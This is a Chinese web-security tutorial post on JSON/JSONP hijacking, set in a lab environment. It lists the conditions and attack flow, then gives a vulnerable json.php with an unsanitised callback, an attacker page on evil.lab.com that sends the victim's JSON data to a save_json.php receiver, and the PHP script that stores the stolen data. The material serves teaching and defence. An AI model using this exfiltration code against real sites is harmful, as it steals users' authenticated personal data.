WEB安全之:Json 劫持
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
Json 劫持
1 利用条件
- 返回敏感的数据
- 返回一个JSON数组
- 响应一个GET请求
- 发送请求的浏览器启用了 JavaScript
- 发送请求的浏览器支持
__defineSetter__
方法
2 攻击流程
- 用户浏览器上保存了 HTTP 的身份认证信息和相关的cookie缓存
- 用户点击了恶意的链接,此时用户的浏览器会向恶意的网站发送 GET 请求
- 恶意网站响应用户的请求并返回恶意 JavaScript 语句,当用户的浏览器运行这些 JavaScript 语句时,它就会执行这段代码,访问目标网站,并将数据发送给恶意网站
- 恶意网站处理收到的 Json 数据
3 实例
3.1 收集信息
查找存在 json 类型页面:构造 json 类型页面 json.php
<?php
header('Content-type: application/json');
$callback = $_GET['callback'];
print $callback.'({"id" : "1","username" : "user01","email":"user01@lab.com"});';
?>
3.2 恶意服务器构造恶意页面
恶意服务器,evil.lab.com
3.2.1 测试恶意服务器是否能正常获取 Json 数据
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>json 数据获取测试</title>
<script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
<script>function get_json(data){alert(JSON.stringify(data));}</script>
<script src="http://json.lab.com/json.php?callback=get_json"></script>
</body>
</html>
3.2.2 劫持 Json 数据
构造诱使用户点击的页面,evil.lab.com/json_hijack.html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>json hijack</title>
<script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
<script>
function json_hijack(data){
var xmlhttp = new XMLHttpRequest();
var url = "http://evil.lab.com/save_json.php?file=" + JSON.stringify(data);
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<script src="http://json.lab.com/json.php?callback=json_hijack"></script>
</head>
<body>
</body>
</html>
3.2.3 恶意服务器处理接收的 Json 数据
save_json.php 用于保存劫持的 json 数据
<?php
if($_GET['file']){
file_put_contents('json.txt',$_GET['file']);
}
?>
3.3 诱便用户点击
当用户点击 evil.lab.com/json_hijack.html
后,会将数据发送到远程的恶意服务器上,调用 save_json.php
,将接收的数据保存并生成 json.txt
。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
· 零经验选手,Compose 一天开发一款小游戏!